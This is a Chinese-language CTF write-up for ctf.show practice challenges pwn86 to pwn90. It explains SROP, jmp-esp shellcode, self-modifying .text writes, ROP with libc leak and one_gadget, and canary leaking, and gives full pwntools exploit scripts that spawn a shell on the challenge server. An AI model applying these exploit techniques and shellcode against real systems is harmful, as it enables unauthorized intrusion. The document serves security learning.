pwn86(srop)

我们可以往bass段写0x200字节,然后如果sys_read(0, global_buf, 0x200u) >= 0xF8就会syscall
注意多调试看看寄存器的状态
info registers
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# p = process("./pwn")
p=remote("pwn.challenge.ctf.show",28313)
buf = 0x601040
syscall_ret = 0x400147
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = buf + 0x1f8
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = bytes(frame)
payload = payload.ljust(0x1f8, b'\x00')
payload += b'/bin/sh\x00'
p.recvuntil(b"Welcome to CTFshowPWN!\n")
p.send(payload)
p.interactive()
pwn87(花式栈溢出)

拖进ida看大概是可以栈迁移+shellcode
0x080484a5: leave; ret;
0x804a000 0x804b000 rw-p 1000 1000 pwn
0x08048d17: jmp esp;
但是好像栈空间够放shellcode就不用迁移到.bss段了
栈上的偏移是相对固定的,我们可以利用栈溢出对esp进行操作,使其指向shellcode处,并且直接控制
程序跳转至esp处。

from pwn import *
context(arch='i386', os='linux', log_level='debug')
# p = process("./pwn")
p=remote("pwn.challenge.ctf.show",28289)
elf = ELF("./pwn")
offset=0x20+4
buf_addr=0xffffcfd8
jmp_esp=0x08048d17
# shellcode=asm(shellcraft.sh())
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
sub_esp_jmp = asm("sub esp,0x28;jmp esp")
payload = shellcode.ljust(offset,b'a') + p32(jmp_esp)
payload += sub_esp_jmp
# gdb.attach(p,'b *0x8048725')
p.sendlineafter("What's your name?", payload)
p.interactive()
pwn88(花式栈溢出)

程序每次可以向某个地址写入一个字节,一个方法是利用%llx实现写入修改.text中的指令实现多次利用,写入shellcode然后跳转执行Shellcode
修改的目标是程序的尾段

这里有一个jnz xxxxxx;意思是不满足条件就跳转执行xxxxxx中的指令,满足的话也就是n255 == 255就会puts(“No flag for you”),所以我们可以把jnz改为jmp
然后我们需要逐字节写入shellcode到0x400769 开始的区域
然后修改偏移跳转到shellcode,很巧妙的利用方式
writeData(text+1, u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# p = process("./pwn")
p=remote("pwn.challenge.ctf.show", 28279)
elf = ELF("./pwn")
text=0x400767
shellcode=asm(shellcraft.sh())
buf=0x400769
def writeData(addr,data):
p.sendlineafter('Where What?',(hex(addr) + ' ' + str(data)).encode())
jnz_bytes = asm('jnz $-0x4A')
writeData(text + 1, u32(jnz_bytes[1:].ljust(4, b'\x00')))
jmp_bytes = asm('jmp $-0x4A')
writeData(text, u32(jmp_bytes[0:1].ljust(4, b'\x00')))
i = 0
for x in shellcode: # x 是 int (0-255)
writeData(buf + i, x)
i += 1
final_jnz = asm('jnz $+0x2')
writeData(text + 1, u32(final_jnz[1:].ljust(4, b'\x00')))
p.interactive()
就是要注意编码形式
pwn89(花式栈溢出)

一直跟进到lenth函数发现有fget危险函数
__int64 lenth()
{
char s[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fgets(s, 8, stdin);
return atol(s);
}
start中的条件判断
n0x10000 = lenth();
if ( n0x10000 <= 0x10000 )
{
readn(0, s, n0x10000);
puts("See you next time!");
}
else
{
puts("Are you kidding me?");
}
main函数在创建线程和等待线程结束,跟进readn函数
__int64 __fastcall readn(int fd, _BYTE *s, unsigned __int64 n0x10000)
{
unsigned __int64 n0x10000_1; // [rsp+20h] [rbp-10h]
ssize_t v6; // [rsp+28h] [rbp-8h]
n0x10000_1 = 0;
while ( n0x10000_1 < n0x10000 )
{
v6 = read(fd, &s[n0x10000_1], n0x10000 - n0x10000_1);
if ( v6 == -1 )
{
if ( *__errno_location() != 11 && *__errno_location() != 4 )
return -1;
}
else
{
if ( !v6 )
return n0x10000_1;
n0x10000_1 += v6;
}
}
return n0x10000_1;
}
这题开了canary,可以用到攻击TLS结构体
最开始输入长度最大是0x10000,而s只有0x1010,会发生栈溢出,然后rop迁移到.bss段执行one_gadget
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', os='linux', log_level='debug')
p=remote("pwn.challenge.ctf.show", 28104)
# p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc6_2.27-3ubuntu1.6_amd64.so")
offset = 0x1010
bss = 0x602100
rdi = 0x400be3
rsi_r15 = 0x400be1
leave_ret = 0x40098c
# 构造 ROP 链
payload = b"a" * offset
payload += p64(bss - 0x8)
payload += p64(rdi)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(rdi)
payload += p64(0)
payload += p64(rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(elf.plt["read"])
payload += p64(leave_ret)
payload = payload.ljust(0x2000, b'a')
p.sendlineafter('send:\n', str(0x2000))
sleep(0.5)
p.send(payload)
sleep(0.5)
p.recvuntil("See you next time!\n")
leak = p.recv(6)
puts_addr = u64(leak.ljust(8, b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
one_gadget = libc_base + 0x4f302
p.send(p64(one_gadget))
p.interactive()
就是要注意bss段的地址,这里用的是0x602100,还有payload的结构,先伪造返回地址然后泄露libc和构造read写入one_gadget
pwn90(花式栈溢出)

程序有后门函数

思路就是第一次先泄露canary第二次就ret2text
泄露canary时要注意read大小是40+1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了)(摘自官wp)
最后的返回地址,由于开了pie,可以用低两位字节的偏移来覆盖
from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28108)
payload = b'a' * 41
io.sendafter('show:\n',payload)
io.recv(6 + 40)
canary = u64(io.recv(8)) & (0xffffffffffffff00)
print(hex(canary))
payload = b'a' * 40 + p64(canary) + p64(0) + b'\x42'
io.send(payload)
io.interactive()
多试了一下其他的比如覆盖成3e,但是好像不行










